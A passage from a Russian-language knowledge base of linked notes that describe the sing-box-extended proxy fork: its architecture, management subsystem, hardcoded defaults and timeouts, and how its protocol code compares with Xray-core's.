Xray на стандартной криптографии Go, включая пост-квантовый ML-KEM (`crypto/mlkem`) поверх X25519. Параметры [[amnezia-2-0/reference|Amnezia 2.0]] (`jc`, `jmin/jmax`, `s1/s2`, `h1–h4`, `i1–i3`) sing-box лишь прокидывает в IPC-конфиг WireGuard — сам движок junk-пакетов и подменённых заголовков реализован в форке `shtorm-7/wireguard-go`. Опции доступны и для обычного WireGuard-endpoint, и для WARP. ## Группы outbound: Fallback, Failover, Bond Три механизма отказоустойчивости устроены принципиально по-разному: - **Fallback** (`protocol/group/fallback.go`) — простая группа над тегами существующих outbound-ов: перебор по порядку, неудачные попадают в чёрный список на `blacklist_timeout` (по умолчанию 1 минута). Работает с любыми серверами, серверная поддержка не нужна. - **Failover** (`protocol/failover/`) — полноценный клиент-серверный протокол с **восстановлением сессий**. Клиент нумерует кадры и держит кольцевой буфер последних 10 записанных; при разрыве канала он поднимает соединение через следующий outbound (стратегии `sequential`/`cycle`), шлёт `CommandReconnect` с UUID сессии, сервер находит живую сессию по UUID, стороны синхронизируют индексы и переотправляют недошедшие кадры — TCP-сессия приложения переживает смену транспорта прозрачно. Требует failover-inbound на своём сервере. - **Bond** (`protocol/bond/`) — агрегация каналов: один логический поток режется на куски пропорционально долям `download_ratio`/`upload_ratio` (сумма долей обязана равняться 100) и размазывается по нескольким физическим соединениям с общим UUID; сервер склеивает куски обратно. Конфигом можно, например, пустить весь download через один канал, а upload через другой (`examples/bond/client_split.json`). Штатные группы `selector`/`urltest` расширены интеграцией с провайдерами (поля `providers`, `use_all_providers`, фильтры `include`/`exclude`) — группа автоматически подхватывает все outbound-ы из подписок. **Unified Delay** реализован в `common/urltest/`: при включённом `experimental.unified_delay` URL-тест делает второй HTTP-запрос и меряет задержку по нему, исключая время установления соединения и TLS-рукопожатия (как в Clash). ## Providers и Link Parser Провайдеры (`provider/`) бывают трёх типов: `inline` (outbound-ы прямо в конфиге), `local` (файл на диске, перечитывается по fswatch) и `remote` (URL с `update_interval`, ETag-кэшированием, разбором заголовка `subscription-userinfo` и загрузкой через указанный `download_detour`). Распарсенные подписки кэшируются через `cachefile`, поэтому после рестарта outbound-ы восстанавливаются до первого похода в сеть; встроенный health-check гоняет URL-тест по узлам подписки. Парсер подписок (`parser/`) пробует по очереди четыре формата: sing-box JSON → Clash YAML → SIP008 → список share-ссылок (plain или base64). Link Parser (`parser/link/`) разбирает схемы `vless://`, `vmess://`, `ss://`, `trojan://`, `tuic://`, `hysteria://`, `hy2://`/`hysteria2://` и превращает их в структуры `option.Outbound` — включая маппинг query-параметров VLESS-ссылки в транспорт, uTLS-fingerprint, REALITY (`pbk`/`sid`) и `flow=xtls-rprx-vision`. Собственной документации по фичам форка нет: mkdocs-сайт в `docs/` — неизменённая документация upstream. Роль документации играют README и подробные комментарии внутри JSON-файлов каталога `examples/` (26 подкаталогов примеров). ## Лимитеры: outbound-обёртки со своим роутером Четыре лимитера (`protocol/limiter/{bandwidth,traffic,connection,rate}/`) реализованы не как хук в общем роутере, а как **специальные outbound-ы**, которые оборачивают дальнейший путь трафика. Внутри каждый лимитер поднимает собственный вложенный `route.Router` со своими полями `rules`/`final` — ради этого форк сделал роутер переиспользуемым (`route.NewRouter(...)` + `Initialize(...)`). Лимитеры можно выстраивать в цепочку: трафик проходит сквозь несколько обёрток до реального outbound-а. Механика по типам: **bandwidth** троттлит `Read`/`Write` через token bucket (`x/time/rate`), опционально с честным взвешенным распределением полосы (WFQ) по ключам `user`/`source_ip`/`hwid`/`mux`/`protocol`/`destination`; **traffic** считает байты и рвёт соединение при исчерпании квоты; **connection** берёт счётчик-«лок» перед dial-ом и обрубает лишние соединения; **rate** ограничивает частоту новых соединений (библиотека `gorl`). Уровень применения задаёт поле `strategy`: `global` (на весь outbound), `connection` (на соединение — по id, IP источника, HWID или mux-сессии), `users` (per-user по списку в конфиге), `manager` (per-user, список приходит динамически от центрального менеджера) и `bypass`. Счётчики трафика — единственное персистентное состояние: узел раз в 5 секунд отправляет дельту менеджеру, тот пишет её в поле `raw_used` таблицы `traffic_limiters` своей БД. ## DNS-расширения К штатным DNS-транспортам sing-box (udp/tcp/tls/https/h3/quic/local/hosts/fakeip/dhcp/tailscale) форк добавляет два: - **SDNS/DNSCrypt** (`dns/transport/sdns.go`) — обёртка над библиотекой `ameshkov/dnscrypt/v2` (в сборке — форк `shtorm-7/dnscrypt`); сервер задаётся DNS-стемпом `sdns://`, поддерживаются и DNSCrypt-, и DoH-стемпы. - **Fallback** (`dns/transport/fallback/`) — агрегатор над списком других DNS-серверов с двумя стратегиями: `parallel` (запрос во все сразу, побеждает первый успешный ответ) и `sequential` (перебор до первого успеха; значение по умолчанию). ## Подсистема управления: manager, node, панель Самое крупное отличие от upstream — распределённая система управления парком серверов, реализованная пятью типами сервисов: `manager`, `manager-api`, `node-manager-api`, `node`, `admin-panel`. Топология из примера `examples/admin_panel-manager-node/`: центральный хост запускает `manager` + `manager-api` + `node-manager-api` (сервер) + `admin-panel`; каждый VPN-узел — `node` + `node-manager-api` в режиме `client`. **Manager** (`service/manager/`) — центральный сервис с реляционной БД (SQLite или PostgreSQL, миграции через `golang-migrate`). Хранит пользователей, узлы, лимитеры и «squads» — группы, через которые всё связывается: пользователь, узел и лимитер применяются вместе, если состоят в общем squad. **Manager API** (`service/manager_api/`) — внешний API для панели и автоматизации: REST на go-chi (префикс `/manager/v1`, CRUD по squads/users/nodes/лимитерам, Swagger UI) и зеркальный gRPC. Аутентификация — статический ключ `api_key` (Bearer-токен, сравнение constant-time). **Node Manager API** (`service/node_manager_api/`) — отдельный gRPC-протокол связи узла с менеджером. Направление соединения — **от узла к менеджеру** (узлам за NAT не нужны входящие порты): узел вызывает `AddNode(uuid)` и получает долгоживущий server-stream, по которому менеджер пушит полные снапшоты и точечные дельты пользователей и лимитов; при обрыве узел переподключается каждые 5 секунд. Обратные unary-вызовы от узла — `AcquireLock`/`RefreshLock`/`ReleaseLock` (глобальный лимит соединений пользователя сразу на всех узлах) и `AddTrafficUsage` (учёт общей квоты трафика). **Node** (`service/node/`) — сторона узла: принимает обновления и **вживляет пользователей в работающие inbound-ы без перезапуска**, вызывая `UpdateUsers` у живого инстанса протокола (поддержаны vless, vmess, trojan, tuic, hysteria/hysteria2, shadowsocks, mtproxy, naive, socks, http, anytls, trusttunnel, ssh). Лимитеры со `strategy: "manager"` он связывает с приходящими от менеджера правилами. **Admin Panel** (`service/admin_panel/`) — SPA на React 18 + TypeScript + Vite + Material UI (страницы: дашборд с графиками, squads, узлы, пользователи, четыре вида лимитеров). Собранный `dist/` закоммичен и встраивается в бинарник через `//go:embed` — Node.js при сборке Go не нужен. Go-сервис панели лишь раздаёт статику; все запросы SPA шлёт напрямую в manager-api, ключ API пользователь вводит на странице логина (хранится в localStorage браузера). Отдельный от всего этого `daemon/` — локальный gRPC-сервис управления самим запущенным инстансом (стоп/релоад, подписки на логи/соединения, выбор outbound, системный прокси) — аналог [[Clash/01-clash-core|Clash API]] для GUI-клиентов, не связанный с manager-подсистемой. > [!warning] Замечания по безопасности подсистемы управления > По состоянию кода на июль 2026: (1) секреты пользователей — UUID, пароли, ключи — хранятся в БД менеджера открытым текстом; (2) аутентификация manager-api и node-manager-api — один статический `api_key` на всех клиентов, без ролей и ротации; (3) панель хранит этот ключ в localStorage браузера. Для продакшн-развёртывания это означает: БД и API-ключ нужно защищать как главный секрет всей инфраструктуры, API — закрывать TLS и firewall-ом, панель — не выставлять в открытый интернет. ## 📚 См. также - [[sing-box/sing-box-extended|sing-box-extended — обзор]] — что это за форк, список возможностей, отставание от upstream, риски - [[sing-box/protocols-origin|Откуда код протоколов]] — своя реализация или копия Xray: сравнение ядер sing-box и Xray-core по исходникам - [[sing-box/hardcoded-defaults|Хардкод-константы и дефолты]] — порты, таймауты и магические числа из `constant/` и кода фич - [[xray/project-x|Project X / Xray-core]] — соседняя экосистема, из которой форк портировал XHTTP и VLESS encryption - [[xray/xhttp|XHTTP]] — устройство транспорта, порт которого лежит в `transport/v2rayxhttp/` - [[xray/vless|Протокол VLESS]] — протокол, чьё шифрование и flow реализованы в `protocol/vless/` - [[amnezia-2-0/reference|Amnezia 2.0]] — параметры обфускации WireGuard, которые форк прокидывает в свой `wireguard-go` - [[mtproxy/mtproto-zig|MTProto-прокси]] — протокол, серверную часть которого форк подключает через `mtg-multi` - [[Hysteria/00-overview|Hysteria]] — протокол, чьи share-ссылки понимает Link Parser - 🔗 [github.com/shtorm-7/sing-box-extended](https://github.com/shtorm-7/sing-box-extended) — исходники - 🔗 [каталог examples](https://github.com/shtorm-7/sing-box-extended/tree/extended/examples) — фактическая документация фич форка --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/sing-box/architecture.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-18 tags: - sing-box - справочник - конфигурация aliases: - Хардкод-константы sing-box - дефолты sing-box - sing-box defaults link: https://github.com/shtorm-7/sing-box-extended --- # 🔩 Хардкод-константы и дефолты sing-box-extended > [!info] О чём заметка > Справочник значений, зашитых в исходники [[sing-box/sing-box-extended|sing-box-extended]] (и в унаследованный от upstream sing-box код): порты по умолчанию, таймауты, интервалы, магические адреса и числа протоколов. Полезно, когда поведение «из коробки» неочевидно из документации. Устройство кода, откуда эти константы взяты, — в [[sing-box/architecture|разборе архитектуры]]. > [!warning] Снимок исходников > Значения выписаны из ветки `extended` на июль 2026 (релиз `v1.13.14-extended-2.5.1`), файлы указаны от корня репозитория. В новых версиях константы могут меняться — при сомнении сверяйся с `constant/` в актуальных исходниках. ## Порт по умолчанию у socks/http: его нет Частый вопрос: «какой порт слушает socks/http-inbound, если не указать?». Ответ: **никакого привычного дефолта (1080 для SOCKS, 8080 для HTTP) в sing-box не существует**. По коду (`option/inbound.go`, `common/listener/listener_tcp.go`): - Поле `listen` (адрес) — **обязательное**: без него конфиг не валиден. - Поле `listen_port` — необязательное (`uint16`, omitempty): если его не указать, значение будет `0`, и операционная система выдаст **случайный свободный порт**. Для постоянного inbound это почти всегда не то, что нужно, — порт задавай явно. - Если адрес из `listen` не удаётся собрать, fallback-адрес привязки — `127.0.0.1`. Проще говоря: sing-box сознательно не назначает «известных» портов — каждый inbound слушает ровно то, что написано в конфиге, а забытый `listen_port` оборачивается случайным портом, а не 1080. ## Таймауты ядра (`constant/timeout.go`) | Константа | Значение | Что означает | |---|---|---| | `TCPConnectTimeout` | 5 с | Лимит на установление исходящего TCP-соединения | | `TCPTimeout` | 15 с | Общий лимит TCP-операций (например, хендшейков протоколов) | | `ReadPayloadTimeout` | 300 мс | Ожидание первых данных (для сниффинга протокола) | | `DNSTimeout` | 10 с | Лимит DNS-запроса | | `UDPTimeout` | 5 мин | Простой UDP-сессии до закрытия NAT-записи | | `ICMPTimeout` | 10 с | Простой ICMP-сессии | | `TCPKeepAliveInitial` / `Interval` | 5 мин / 75 с | Параметры TCP keep-alive | | `DefaultURLTestInterval` | 3 мин | Период URL-теста в группах `urltest` | | `DefaultURLTestIdleTimeout` | 30 мин | Простой, после которого URL-тест группы засыпает | | `StartTimeout` / `StopTimeout` / `FatalStopTimeout` | 10 с / 5 с / 10 с | Лимиты запуска и остановки сервисов ядра | | `TLSFragmentFallbackDelay` | 500 мс | Задержка-фолбэк при TLS-фрагментации | Сниффер протоколов дополнительно связывает известные порты с протоколами (`PortProtocols`): 53 → DNS, 123 → NTP, 3478 → STUN, 443 (UDP) → QUIC; для распознанных протоколов действуют свои таймауты UDP-сессий (`ProtocolTimeouts`): DNS/NTP/STUN — 10 с, QUIC/DTLS — 30 с. TTL DNS-ответов по умолчанию — 600 с (`constant/dns.go`, `DefaultDNSTTL`). ## Константы фич форка Значения из extended-кода (подробности механики — в [[sing-box/architecture|архитектуре]]): | Где | Константа | Значение | |---|---|---| | Fallback-группа | `blacklist_timeout` по умолчанию | 1 мин (неисправный outbound временно исключается) | | Failover | размер кольцевого буфера кадров | 10 кадров (глубина восстановления сессии; при большем отставании — `SessionBroken`) | | Failover | служебный адрес протокола | `sp.failover.sing-box.arpa:444` | | Bond | служебный адрес протокола | `sp.bond.sing-box.arpa:444` | | Bond | сумма `download_ratio` и `upload_ratio` | обязана равняться 100, иначе ошибка `invalid ratios` | | Провайдер remote | `update_interval` по умолчанию / минимум | 24 ч / 1 мин | | Провайдер, health check | интервал / минимум / таймаут / параллелизм | 10 мин / 1 мин / 3 с / 10 одновременных URL-тестов | | Traffic-лимитер | период отправки счётчиков менеджеру | 5 с | | Node → manager | интервал переподключения gRPC-стрима | 5 с | | Connection-лимитер (`lock_type: manager`) | обновление распределённого лока / TTL лока на менеджере | 5 с / 30 с | | Manager | пул рассылки обновлений узлам | 16 воркеров | | Manager API | префикс REST / лимит списков по умолчанию | `/manager/v1` / 100 записей | | Пересчёт скоростей | `MbpsToBps` (`constant/speed.go`) | 125 000 (1 Мбит/с = 125 000 байт/с — множитель для опций `speed` лимитеров) | ## Магические числа протоколов Константы, обеспечивающие байтовую совместимость с другими реализациями (происхождение кода — в [[sing-box/protocols-origin|заметке о происхождении протоколов]]): - **XTLS-Vision**: размер чанка 8192 байта; пороги паддинга — контент короче 900 байт дополняется до `900 + rand(500)`, иначе паддинг `rand(256)`; 5-байтовый заголовок `{команда, длина контента (2 байта), длина паддинга (2 байта)}`. Значения совпадают с Xray-core — иначе Vision-клиент sing-box не работал бы с Vision-сервером Xray. - **Hysteria2**: аутентификация — HTTP/3-запрос на путь `/auth` с заголовком `Hysteria-Auth`, успех — нестандартный статус-код **233**; максимальный размер UDP-датаграммы 4096 байт; обфускация Salamander — XOR с BLAKE2b-256(PSK + соль), соль 8 байт. Congestion control Brutal: минимум 50 сэмплов, `minAckRate` 0.8. - **Trojan**: ключ — SHA224-хеш пароля в hex (56 символов), разделители CRLF, команды TCP=1, UDP=3. ## 📚 См. также - [[sing-box/sing-box-extended|sing-box-extended — обзор]] — что за проект - [[sing-box/architecture|Архитектура sing-box-extended]] — где эти константы живут в коде - [[sing-box/protocols-origin|Откуда код протоколов]] — почему магические числа совпадают с Xray и apernet/hysteria - 🔗 [constant/ в репозитории](https://github.com/shtorm-7/sing-box-extended/tree/extended/constant) — первоисточник констант --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/sing-box/hardcoded-defaults.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-18 tags: - sing-box - xray - архитектура - протоколы aliases: - Откуда код протоколов в sing-box - sing-box vs Xray-core - происхождение протоколов sing-box link: https://github.com/shtorm-7/sing-box-extended --- # 🧬 Откуда в sing-box код протоколов: своя реализация или копия Xray > [!info] О чём заметка > Ответ на вопрос «sing-box просто вшивает чужие протоколы статичными файлами, или пишет их сам — и есть ли вообще разница между ядрами sing-box и Xray-core?». Разбор сделан по исходникам [[sing-box/sing-box-extended|sing-box-extended]] (включающего весь upstream sing-box) с прямым сравнением против Xray-core. Внутреннее устройство самого форка — в [[sing-box/architecture|разборе архитектуры]]. Если незнакомы с самой идеей «двух независимых реализаций одного протокола» — начните с вводной заметки [[sing-box/wire-protocol-explained|Что такое wire-протокол]]. ## TL;DR - **sing-box и Xray-core — два независимых ядра без единой общей строчки прокси-кода**: прямых импортов друг из друга ноль в обе стороны; Xray-core — форк v2ray-core, sing-box написан с нуля на экосистеме библиотек `sagernet/sing`. Что вообще значит «две независимые реализации одного протокола» — в [[sing-box/wire-protocol-explained|отдельной вводной заметке]]. - Совместимость по VLESS/Trojan/VMess/REALITY между ними — результат **двойной реализации одних и тех же wire-спецификаций** (одинаковые байты на проводе, разный код), а не общего кода. - Ответ на «просто вшиты статичные файлы?» — **в основном нет, но есть исключения**: VLESS encryption и слой `common/xray/*` — действительно почти дословные копии из Xray-core; wire-формат Hysteria2 скопирован байт-в-байт из apernet/hysteria. Всё остальное (VLESS-заголовок, Vision, REALITY, VMess, Shadowsocks, Trojan, TUIC) — самостоятельные реимплементации. - Чужой код входит в sing-box тремя путями: собственные библиотеки SagerNet (`sing-vmess`, `sing-quic`, …), форки сторонних проектов через go.mod (~13 штук: quic-go, wireguard-go, gvisor, uTLS и др.) и точечные in-tree порты (слой `common/xray`, mKCP, kTLS из Go stdlib). > [!warning] Источник данных > Выводы получены пятью независимыми проходами по исходникам (июль 2026): ветка `extended` форка sing-box-extended, Xray-core, библиотеки `sing-vmess`, `sing-quic`, `sing-shadowsocks2`, `sing-shadowtls`, официальный `apernet/hysteria` — включая прямые diff-сравнения файлов. Часть выводов относится к форку (например, uTLS от MetaCubeX) и может отличаться от upstream sing-box; это отмечено в тексте. ## Два ядра — две родословные Распространённое представление «sing-box и Xray — примерно одно и то же» неверно на уровне кода. [[xray/project-x|Xray-core]] — форк v2ray-core и несёт его наследие: конфиг protobuf-first (78 `.proto`-файлов; JSON из пользовательского конфига конвертируется в protobuf-сообщения слоем `infra/conf/`), глобальный реестр протоколов на reflection (`common.RegisterConfig` из `init()`), собственный слой буферов `common/buf` с MultiBuffer. sing-box написан с нуля автором nekohasekai (SagerNet) поверх собственной базовой библиотеки `sagernet/sing`: конфиг — чистый JSON, маппящийся в типизированные Go-структуры без protobuf; протоколы регистрируются в явных generic-реестрах (подробно — в [[sing-box/architecture|разборе архитектуры]]); буферы — из библиотеки `sing`. Grep по всем исходникам не находит ни одного импорта `github.com/xtls/*` или `github.com/v2fly/*` в sing-box — и ни одного импорта `sagernet/sing-box` в Xray. Проще говоря: это два разных дома, построенных по разным чертежам, у которых совпадают только дверные замки — чтобы подходили одни и те же ключи-протоколы. Даже общие низкоуровневые зависимости разведены по разным форкам: uTLS у sing-box-extended — форк MetaCubeX (`metacubex/utls`; в upstream sing-box — форк `sagernet/utls`), у Xray — оригинальный `refraction-networking/utls`; quic-go у sing-box — `sagernet/quic-go`, у Xray — `apernet/quic-go` (оба — независимые форки одного `quic-go/quic-go`). ## Как достигается совместимость: спецификация, а не копипаста Основной механизм — **независимая реализация того же байтового формата**. Библиотеки SagerNet реализуют те же константы, порядок полей и криптопримитивы, что и «родные» проекты, но собственным кодом под свои абстракции. README библиотек прямо декларируют цель: «100% compatible with v2ray-core» (sing-vmess), «Go implementation of shadow-tls» (sing-shadowtls) — совместимость по формату, не заимствование исходников. | Протокол | Где реализация | Происхождение | |---|---|---| | VLESS (wire-заголовок) | библиотека `sing-vmess/vless` | Независимая реимплементация; формат совпадает с Xray (UUID, addons, flow), код — нет | | XTLS-Vision | `sing-vmess/vless/vision.go` | Реимплементация с дословным переносом констант Xray (chunk 8192, пороги паддинга 900/500/256, 5-байтовый заголовок) — иначе байтовой совместимости не было бы | | REALITY | клиент в дереве sing-box (`common/tls/reality_client.go`), сервер в форке uTLS | Независимая реализация; библиотека `xtls/reality`, которую использует Xray, не подключена вовсе | | VMess | библиотека `sing-vmess` | Независимая реимплементация SagerNet | | Shadowsocks | библиотеки `sing-shadowsocks`/`sing-shadowsocks2` | Независимая реимплементация (включая Shadowsocks-2022) | | Trojan | в дереве, `transport/trojan/` | Независимая реимплементация (те же константы формата: SHA224-hex пароля, CRLF, команды 1/3) | | Hysteria v1, TUIC | библиотека `sing-quic` | Независимые реимплементации SagerNet | | Hysteria2 | библиотека `sing-quic/hysteria2` | **Гибрид**: файлы wire-формата скопированы из apernet/hysteria байт-в-байт, транспорт/obfs/congestion переписаны (см. ниже) | | SOCKS, HTTP | библиотека `sing` | Своя реализация открытых RFC-протоколов | | NaiveProxy | `protocol/naive/` | Сервер — обычный HTTP/2+HTTP/3 на Go; клиент (только в форке) — обёртка над Chromium Cronet | ## Где код всё-таки скопирован Проходы по коду нашли три заметных места, где ответ «вшито статичными файлами» — правда: 1. **VLESS encryption** (`protocol/vless/encryption/` — пост-квантовое шифрование ML-KEM + X25519). Прямой diff против `xray-core/proxy/vless/encryption/` показывает почти построчное совпадение: изменены только import-пути, обёртки ошибок и добавлено несколько методов интеграции; логика хендшейка, 0-RTT, паддинга и XorConn совпадает дословно. Это честный вендоринг кода Xray. 2. **`common/xray/*`** — «подложка» для пункта 1: дословно скопированные внутренние пакеты Xray-core (`buf`, `net`, `signal`, `crypto`, `pipe` и др.) с переименованным namespace — в файлах даже сохранились doc-маркеры `xray:api:beta`. Скопированы, чтобы не тянуть весь Xray-core как зависимость. 3. **Wire-формат Hysteria2**: файлы определений протокола (`internal/protocol/http.go`, `padding.go` — заголовки `Hysteria-*`, путь `/auth`, статус-код 233) в `sing-quic` идентичны apernet/hysteria вплоть до пустого diff. При этом транспорт, сессии, obfuscation Salamander и congestion control Brutal переписаны под стек sing (с теми же алгоритмическими константами — например, `minAckRate=0.8`). К этой же категории «порт чужого кода в дерево» относятся транспорты: mKCP (`transport/v2raykcp/` — порт из v2ray-core, в коде остались ссылки «mirrors v2ray-core's kcp»), [[xray/xhttp|XHTTP]] (`transport/v2rayxhttp/`), simple-obfs и SIP003 (из shadowsocks-экосистемы), kTLS (порт `crypto/tls` из Go stdlib, копирайты The Go Authors), JA3-парсер (Open Systems AG). > [!note] Каталоги `transport/v2ray*` — это название семейства, а не признак копии > WebSocket/gRPC/HTTPUpgrade-транспорты в sing-box лежат в каталогах с префиксом `v2ray*` (`v2raywebsocket`, `v2raygrpc`…), потому что «V2Ray transport» — устоявшееся имя семейства транспортов, совместимость с которым нужна клиентам. Сами реализации там в основном собственные, на библиотеках sing (с точечными исключениями вроде mKCP и заимствованных файлов gRPC-credentials). ## Итоговая картина: три пути чужого кода 1. **Собственные библиотеки SagerNet** (та же команда, что и ядро): `sing`, `sing-vmess`, `sing-quic`, `sing-shadowsocks(2)`, `sing-shadowtls`, `sing-mux`, `sing-tun`. Это не «чужой» код — это ядро, разнесённое по модулям. 2. **Форки сторонних проектов через go.mod** (~13 в sing-box-extended): `quic-go`, `wireguard-go` (от zx2c4), `gvisor` (Google), `tailscale`, uTLS, `smux`, `bbolt` и др. — плюс в форке shtorm-7 поверх них ещё 9 собственных развилок (см. [[sing-box/architecture|архитектуру]]). 3. **In-tree порты** — то самое «вшито статичными файлами», но точечно: слой `common/xray` + VLESS encryption (из Xray), mKCP (из v2ray), wire-константы Hysteria2 (из apernet), kTLS и `container/list` (из Go), JA3. Вывод одной фразой: **sing-box не «пишет все протоколы с нуля» и не «вшивает чужое ядро» — он реализует чужие wire-спецификации самостоятельно в 80–90% случаев (оценка по числу протоколов из таблицы выше), а копирует файлы дословно лишь там, где протокол слишком свежий или сложный, чтобы переписывать (пост-квантовый VLESS encryption), либо где нужна гарантированная байтовая идентичность формата (Hysteria2). И разница между ядрами sing-box и Xray-core фундаментальная — общий у них только протокол на проводе.** ## 📚 См. также - [[sing-box/wire-protocol-explained|Что такое wire-протокол]] — вводная про совместимость по проводу и двойную реализацию, фундамент этой заметки - [[sing-box/sing-box-extended|sing-box-extended — обзор]] — что за форк и его возможности - [[sing-box/architecture|Архитектура sing-box-extended]] — ядро, реестры, лимитеры, manager-подсистема, карта форков зависимостей - [[sing-box/hardcoded-defaults|Хардкод-константы и дефолты]] — порты, таймауты и магические числа из исходников - [[xray/project-x|Project X / Xray-core]] — родословная и экосистема Xray - [[xray/vless|Протокол VLESS]] и [[xray/xtls-vision|XTLS и Vision]] — сами протоколы, о чьих реализациях идёт речь - [[xray/reality|REALITY]] — протокол, реализованный в обоих ядрах независимо - [[Hysteria/00-overview|Hysteria]] — официальная реализация apernet, с которой sing-box совместим - 🔗 [github.com/SagerNet/sing-box](https://github.com/SagerNet/sing-box) — оригинальный sing-box - 🔗 [github.com/XTLS/Xray-core](https://github.com/XTLS/Xray-core) — Xray-core --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/sing-box/protocols-origin.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-17 tags: - sing-box - proxy - vpn - обход-блокировок aliases: - sing-box-extended - Sing-box Extended - расширенный sing-box link: https://github.com/shtorm-7/sing-box-extended --- # 📦 sing-box-extended — форк sing-box с расширенными функциями > [!info] О чём заметка > Обзор [sing-box-extended](https://github.com/shtorm-7/sing-box-extended) — форка универсальной прокси-платформы sing-box от разработчика shtorm-7, в который добавлены десятки протоколов и функций, отсутствующих в оригинале: от Cloudflare WARP и MTProxy до лимитеров трафика и веб-панели администратора. Про экосистему Xray (главную «соседнюю» платформу) — в [[xray/project-x|Project X / Xray-core]]. ## TL;DR - **sing-box** — универсальная прокси-платформа на Go (проект SagerNet): один бинарник, который умеет быть и клиентом, и сервером для множества протоколов обхода блокировок; главная альтернатива Xray-core. - **sing-box-extended** — форк, куда автор добавил то, чего в оригинале нет: протоколы WARP, MASQUE, MTProxy, Mieru, OpenVPN, Snell, TrustTunnel и другие; лимитеры скорости/трафика/соединений; обфускацию [[amnezia-2-0/reference|Amnezia 2.0]] для WireGuard; VLESS encryption и [[xray/xhttp|XHTTP]] из мира Xray; веб-панель администратора и API для управления пользователями и узлами. - Проект живой: на июль 2026 — 46 релизов (последний `v1.13.14-extended-2.5.1`), около 400 звёзд на GitHub, поддержка через Telegram-чат. - Лицензия GPLv3 с оговоркой: производные работы не могут использовать название или подразумевать связь с проектом без согласия автора. - От стабильных релизов оригинала форк почти не отстаёт (стабильный v1.13.14 от 25 июня 2026 влит в тот же день); отставание на ~2,5 тыс. коммитов видно только от dev-ветки `testing` (альфы 1.14.0) — подробнее в разделе «Отстаёт ли форк от оригинала». - Это сторонний форк с экспериментальными функциями — для критичных к безопасности сценариев учитывай, что код ревьюит меньше глаз, чем у оригинала (подробнее в разделе «Оговорки»). ## Что такое sing-box и зачем ему форк **sing-box** — открытая платформа для проксирования от проекта SagerNet, написанная на Go. Идея: один универсальный бинарник, который заменяет зоопарк отдельных клиентов и серверов — он умеет [[xray/vless|VLESS]], VMess, Shadowsocks, Trojan, [[Hysteria/00-overview|Hysteria/Hysteria2]], TUIC, WireGuard и многое другое, плюс гибкую маршрутизацию трафика по правилам. На ядре sing-box работают популярные клиенты вроде NekoBox — пример настройки маршрутизации в таком клиенте есть в [[xray/clients-and-routing|Клиенты и маршрутизация]]. Проще говоря: sing-box — это «швейцарский нож» обхода блокировок, конкурент и во многом совместимая альтернатива [[xray/project-x|Xray-core]], но с собственным форматом конфигурации (JSON со своей схемой) и собственным набором протоколов. Оригинальный sing-box развивается консервативно: мейнтейнеры не спешат принимать экзотические протоколы и «серверные» функции вроде панелей управления. **sing-box-extended** закрывает этот разрыв — разработчик shtorm-7 ведёт форк (ветка `extended`), в который регулярно вливает upstream-изменения оригинала и поверх них добавляет собственные возможности. Версионирование это отражает: релиз `v1.13.14-extended-2.5.1` означает «оригинальный sing-box 1.13.14 плюс extended-надстройка версии 2.5.1». ## Что добавлено сверх оригинала Список ниже — по README репозитория (июль 2026). ### Протоколы | Протокол | Что даёт | |---|---| | **WARP** | Интеграция Cloudflare WARP через WireGuard — бесплатный выходной узел Cloudflare как outbound | | **MASQUE** | Прокси Cloudflare поверх QUIC/HTTP — второй, более современный транспорт WARP | | **MTProxy** | Сервер Telegram-прокси с FakeTLS — про сам протокол и его маскировку см. [[mtproxy/mtproto-zig|MTProto-прокси]] | | **Mieru** | Прокси-протокол, спроектированный так, чтобы его было трудно классифицировать DPI | | **OpenVPN** | Клиент с поддержкой tls-auth, tls-crypt, tls-crypt-v2 — можно подключаться к обычным OpenVPN-серверам | | **TrustTunnel** | Обфусцированный VPN-протокол от AdGuard | | **Sudoku** | Обфускация трафика «на основе головоломок» | | **Snell** | Лёгкий шифрованный прокси, версии v1–v5 (родом из экосистемы Surge) | | **SSH** | Клиент и сервер с аутентификацией по сертификатам | | **VPN** | Маршрутизируемый туннель поверх любых TCP-протоколов | | **Bond** | Агрегация нескольких каналов для суммирования пропускной способности | | **Fallback / Failover** | Группы outbound с приоритетным переключением и автоматическим восстановлением сессий при падении узла | ### Лимитеры — квоты и ограничения В оригинальном sing-box нет встроенных инструментов для «продажи» или раздачи доступа с ограничениями. Форк добавляет четыре лимитера: **Bandwidth** (ограничение скорости загрузки/отдачи), **Connection** (число одновременных соединений), **Traffic** (квота объёма трафика на пользователя) и **Rate** (частота запросов). Это превращает sing-box-extended в основу для мультипользовательского сервиса без внешней панели. ### Обфускация и заимствования из Xray - **Amnezia 2.0** — обфускация WireGuard-трафика по схеме AmneziaWG; что это и как работает — в [[amnezia-2-0/reference|справке по Amnezia 2.0]]. - **VLESS encryption** — пост-квантовое шифрование VLESS из Xray-core (в оригинальном sing-box не поддерживается). - **XHTTP** — транспорт Xray для работы через CDN; устройство и режимы — в [[xray/xhttp|XHTTP]]. - **mKCP** — надёжный транспорт поверх UDP из экосистемы V2Ray. ### DNS - **SDNS (DNSCrypt)** — зашифрованные DNS-запросы по протоколу DNSCrypt (адреса серверов в формате DNS stamps). - **DNS Fallback** — параллельные или последовательные запросы к нескольким DNS-серверам с переключением при отказе. ### Управление: панель и API Форк включает серверную обвязку, которой нет в оригинале: **Admin Panel** (веб-интерфейс администратора), **Manager** (сервис конфигурации пользователей и узлов), **Manager API** (HTTP/gRPC API) и **Node Manager API** (синхронизация узлов с удалённым менеджером). Проще говоря: из одного бинарника можно поднять не только прокси-сервер, но и мини-панель 